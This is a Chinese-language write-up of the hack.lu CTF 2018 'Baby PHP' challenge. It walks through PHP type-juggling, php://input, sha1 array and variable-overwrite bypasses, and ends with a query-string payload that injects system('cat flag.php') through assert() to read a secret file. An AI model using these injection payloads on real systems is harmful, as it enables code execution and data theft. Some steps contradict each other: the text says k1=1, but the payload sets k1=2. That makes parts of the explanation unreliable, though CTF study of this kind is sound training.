hacklu CTF 2018 Baby PHP WriteUp
Baby PHP
核心代码
打开后给了代码:
<?php
require_once('flag.php');
error_reporting(0);
if(!isset($_GET['msg'])){
highlight_file(__FILE__);
die();
}
@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}
echo "Hello Hacker! Have a look around.\n";
@$k1=$_GET['key1'];
@$k2=$_GET['key2'];
$cc = 1337;$bb = 42;
if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}
if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}
list($k1,$k2) = [$k2, $k1];
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}
$b = "2";$a="b";//;1=b
if($$a !== $k1){
die("lel no\n");
}
// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");
echo "Good Job ;)";
// TODO
// echo $flag;
阶段一
@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}
过file_get_contents()用到了php伪协议。https://www.lorexxar.cn/2016/09/14/php-wei/。只要通过php://input
来读取POST里的数据就可以。
所以构造payload:
?msg=php://input
post:Hello Challenge!
阶段二
$cc = 1337;$bb = 42;
if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}
接下来要绕过intval()
函数。
这里k1
变量要经过intval()
后不与cc=1337
相同,但是本身k1
要与c1
相同。
下面看一些变量被intval()
后的例子:
<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>
这里参照echo intval(042); // 34
,把,构造payload:
?msg=php://input&key1=01337
这样int(01337)
会变成八进制,不与cc相同。但是k1
又是等于cc
的。
阶段三
if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}
首先要求strlen($k2) == $bb
,bb=42
。
然后要满足正则。这里的这个$
是美元符号,而不是正则表达式里的行尾铆钉符$
。
最后要要求k2==cc
。这里是弱比较。
来测试以下:
<?php
$cc = 1337;
$k2='00000000000000000000000000000000000001337$';
var_dump(preg_match('/^\d+$/', $k2));
var_dump(!is_numeric($k2));
var_dump($k2 == $cc);
var_dump($k2);
?>
变量
k2
等于cc
的原因就是PHP的恐龙特性。于是构造payload:
?msg=php://input&key1=01337&key2=00000000000000000000000000000000000001337$
post:Hello Challenge!
然后就可以对cc
进行赋值了。
阶段四
list($k1,$k2) = [$k2, $k1];
list($k1,$k2) = [$k2, $k1];
这一步交换了k1
和k2
的值。
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}
substr()
函数将截取cc
42位后,要与sha1($cc)
相同。
sha1()
可以用数组绕过。所以构造cc[1]=1
,两个同时为null就绕过了。
构造payload:
?msg=php://input&key1=01337&key2=00000000000000000000000000000000000001337$&cc[1]=1
post:Hello Challenge!
之后就存在变量覆盖的问题,可以参考文章:https://www.cnblogs.com/xiaozi/p/7768580.html。此时我们对任何参数是可控的。
阶段五
$b = "2";$a="b";//;1=b
这里a=b
,b=1
。
if($$a !== $k1){
die("lel no\n");
}
$$a
取值就为$b
,b
为1,传参k1=1
即可。
现在的payload为:
?msg=php://input&key1=01337&key2=00000000000000000000000000000000000001337$&cc[1]=1&k1=2
post:Hello Challenge!
阶段六
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");
echo "Good Job ;)";
// TODO
// echo $flag;
最后的assert()
函数可用来执行代码。可以参考:https://www.cnblogs.com/xiaozi/p/7834367.html。
可以看到这里的输出flag已经被注释掉了,需要自己去输出。
构造bb=system('cat flag.php');//
即可。
最后的payload:
?msg=php://input&key1=01337&key2=00000000000000000000000000000000000001337$&cc[1]=1&k1=2&bb=system('cat flag.php');//
POST:Hello Challenge!
得到flag。